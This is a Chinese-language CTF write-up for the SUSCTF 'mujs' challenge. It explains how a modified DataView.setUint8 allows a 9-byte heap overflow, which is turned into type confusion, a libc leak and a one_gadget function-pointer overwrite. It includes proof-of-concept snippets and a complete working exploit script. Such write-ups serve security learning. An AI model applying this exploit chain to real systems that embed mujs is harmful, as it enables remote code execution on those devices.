SUSCTF mujs 复现

这次跟着SU参加SUSCTF取得了第一名的成绩,希望SU战队越来越好!这道mujs当时自己只看出了有越界写操作,想到了可以进行一个类型混淆的利用,但是最后还是队友做出来了。在此记录一下复线思路(翻译一下队友详细的wp)。

题目描述

出题人给出的题目描述如下

1
2
dd0a0972b4428771e6a3887da2210c7c9dd40f9c  
nc 124.71.182.21 9999

在附件中有mujs的源码,这个是一个在嵌入式设备上常用的js代码解释器。这个源码的代码量还是很大的。同时附件里还有一个编译好的二进制文件,以及libc文件。从libc文件可以得知远程的运行环境是libc.2.31

题目描述中给出的这个hash字符告诉我们这个源码是来自于这个hash对应的commit的mujs源码

https://github.com/ccxvii/mujs/commit/dd0a0972b4428771e6a3887da2210c7c9dd40f9c

所以使用diff对比了这两个源码。发现主要的差别在两个地方

寻找漏洞点

队友的思路首先是从最近的CVE里寻找一些漏洞,但是没有发现有用的信息,所以这个题应该是魔改的这个版本的源码。而且被魔改的部分其实代码量不算大,直接审就好了。

首先我们需要理解DataView都做了什么,都有哪些方法。一些常用的用法如下所示。

1
2
3
4
5
6
x = new DataView(10)
print(x.getUint8(0))
print(x.getUint8(9))
print(x.getUint8(12)) // should not work
print(x.setUint32(0, 10))
...

其实从jsB_initdataview函数当中大概可以看出来都有哪些方法,然后自己试一下就可以试出来这些方法怎么用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void jsB_initdataview(js_State *J)
{
js_pushobject(J, J->DataView_prototype);
{
jsB_propf(J, "DataView.prototype.getUint8", Dv_getUint8, 1);
jsB_propf(J, "DataView.prototype.setUint8", Dv_setUint8, 2);
jsB_propf(J, "DataView.prototype.getUint16", Dv_getUint16, 1);
jsB_propf(J, "DataView.prototype.setUint16", Dv_setUint16, 2);
jsB_propf(J, "DataView.prototype.getUint32", Dv_getUint32, 1);
jsB_propf(J, "DataView.prototype.setUint32", Dv_setUint32, 2);
jsB_propf(J, "DataView.prototype.getLength", Dv_getLength, 0);
}
js_newcconstructor(J, jsB_new_DataView, jsB_new_DataView, "DataView", 0);
js_defglobal(J, "DataView", JS_DONTENUM);
}

然后经过一阵审计,很容易就能发现这里存在一个越界写操作,可以越界写9字节

1
2
3
4
5
6
7
8
9
10
11
12
static void Dv_setUint8(js_State *J)
{
js_Object *self = js_toobject(J, 0);
if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView");
size_t index = js_tonumber(J, 1);
uint8_t value = js_tonumber(J, 2);
if (index < self->u.dataview.length+0x9) {
self->u.dataview.data[index] = value;
} else {
js_error(J, "out of bounds access on DataView");
}
}

值得注意的是这里同时也存在一个整数溢出(但是是无符号的),可以让我们可以前溢9字节。但是由于这里没有什么free的操作,所以很难利用。因此还是后溢9字节可用性高一点。

利用漏洞

类型混淆

因为说溢出9字节,这个多出的一字节很容易令人联想到类型混淆。下面是 js_Object 的结构。可见只要溢出一字节就可以覆盖它的type字段。

1
2
3
4
5
6
7
struct js_Object
{
enum js_Class type;
int extensible;
js_Property *properties;
...
}

下面给出类型混淆的poc

1
2
3
4
5
6
7
8
9
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);


print(c)
b.setUint8(0x48+8, 8); // change type of c to something
print(c)

输出为

1
2
[object DataView]
[object String]

越界写Dataview的Length字段

js_Objec 使用了 C语言里的union结构,所以不同类型可以共用相同的内存。队友的想法是利用与DataView里Length字段占用内存相同的其他类型的字符来修改DataLength。这样我们就可以扩大任意地址读写的范围,起码可以拓展到整个堆上了,而不仅仅是越界9字节。

整个Js_Objec 结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
struct js_Object
{
enum js_Class type;
int extensible;
js_Property *properties;
int count;
js_Object *prototype;
union {
int boolean;
double number;
struct {
const char *string;
int length;
} s;
struct {
int length;
} a;
struct {
js_Function *function;
js_Environment *scope;
} f;
struct {
const char *name;
js_CFunction function;
js_CFunction constructor;
int length;
void *data;
js_Finalize finalize;
} c;
js_Regexp r;
struct {
js_Object *target;
js_Iterator *head;
} iter;
struct {
const char *tag;
void *data;
js_HasProperty has;
js_Put put;
js_Delete delete;
js_Finalize finalize;
} user;
struct {
uint32_t length;
uint8_t* data;
} dataview;
} u;
// ...
};

比如js_Object.u.dataview.length 在结构体内所处的偏移是和js_Object.u.number 以及s_Object.u.c.name这两个是相同的。

所以我们可以修改js_Object.u.number,队友找到了下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
static void js_setdate(js_State *J, int idx, double t)
{
js_Object *self = js_toobject(J, idx);
if (self->type != JS_CDATE)
js_typeerror(J, "not a date");
self->u.number = TimeClip(t);
js_pushnumber(J, self->u.number);
}
// ... called from here
static void Dp_setTime(js_State *J)
{
js_setdate(J, 0, js_tonumber(J, 1));
}

让我们试一下

JS_CDATE的值是10,我们需要把这个DataView结构的type字段溢出成10就可以了

1
2
3
4
5
6
7
8
9
10
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);


print(c)
b.setUint8(0x48+8, 10); // set type of c to Date
print(c)
c.setTime(0)

结果:

1
2
3
4
[object DataView]
[object Date]
TypeError: undefined is not callable
at tconf.js:10

Emmm,居然是报错了。难道进行了类型混淆还是不能调用setTime方法么?队友曾经为了这个问题困扰了许久,他意识到了对象的prototype 在我们一创建的时候其实就已经确定了。所以当我们改变type的时候prototype并没有改变。而prototype基本就已经定义了这个对象可以调用哪些方法,可恶。

这时无敌的队友发现,js里有个讨厌的东西叫 this,这个东西在这个时候算是雪中送碳吧

我们仍然可以通过js的bind调用setTime :

1
Date.prototype.setTime.bind(c)(12)

成功了!

1
2
3
4
5
6
7
8
9
10
11
12
13
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);


print(c)
b.setUint8(0x48+8, 10); // set type of c to Date
print(c)
Date.prototype.setTime.bind(c)(1.09522e+12)

b.setUint8(0x48+8, 16); // type of c back to DataView
print(c.getLength())

看到这里大家可能会有些疑问,就是u.number是8字节的double类型,而我们要覆盖的u.dataview.length只有四字节,这样会不会覆盖到后面紧跟着的四字节的u.dataview.data,毕竟这个是个指针,覆盖掉了容易导致crash。其实是不会的,因为这个结构体有8字节对齐。

使用堆上的越界读写来实现代码执行

到了这个阶段,我们已经可以通过修改dataview的length字段来实现堆上的任意地址读写了。并且堆布局也是我们相对可控的了。为了更好的控制堆上的结构,我的队友在c后面又申请了两个Dataview。并且我们知道,如果我们申请的堆的大小大于128k的话我们会使用mmap来申请空间,这个是malloc函数的一个策略。而这个mapp的地址往往距离libc地址很近,因此我们可以通过这种方法来泄漏libc基地址。

所以我们用上述的方法泄漏了libc地址之后,可以伪造一个JS_CCFUNCTION类型,他有一个字段叫做u.c.function我们可以轻易用下面的方式调用这个函数指针

1
2
3
4
5
6
void js_call(js_State *J, int n)
{
// ...
jsR_callfunction(J, n, obj->u.f.function, obj->u.f.scope);
// ...
}

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
e = DataView(0x48);
f = DataView(0x1000 * 0x1000);

b.setUint8(0x48+8, 10); // set c type to Date
Date.prototype.setTime.bind(c)(1.09522e+12) // write number + length
b.setUint8(0x48+8, 16); // set c type back to DataView


sh32 = 4294967296 // 1<<32
libb_addr_off = 472
libc_leak = c.getUint32(libb_addr_off) + (c.getUint32(libb_addr_off+4)*sh32)

libc_off = 0x7ffff7c31000 - 0x7ffff6bfe010 // got this from gdb
libc_base = libc_leak + libc_off
print('libc base:', libc_base.toString(16))

one_gag = libc_base + 0xe6c84
print('onegadget:', one_gag.toString(16))

e_obj_off = 192
c.setUint8(160, 4) // this sets type to JS_CCFUNCTION

// set lower 4 bytes of js_CFunction function
c.setUint32(e_obj_off+8, one_gag&0xffffffff)

// set upper 4 bytes of js_CFunction function
c.setUint32(e_obj_off+8+4, Math.floor(one_gag/sh32)&0xffffffff)
e() // e is now a function so we can call it

队友表示他之前也没做过这种mujs的利用,但是这些堆利用的基本思路和很多大型项目比如v8的利用是共通的,但是那些大型项目由于运行时更为复杂,堆空间要相对更不可控一些。

-------------本文结束感谢您的阅读-------------
+ +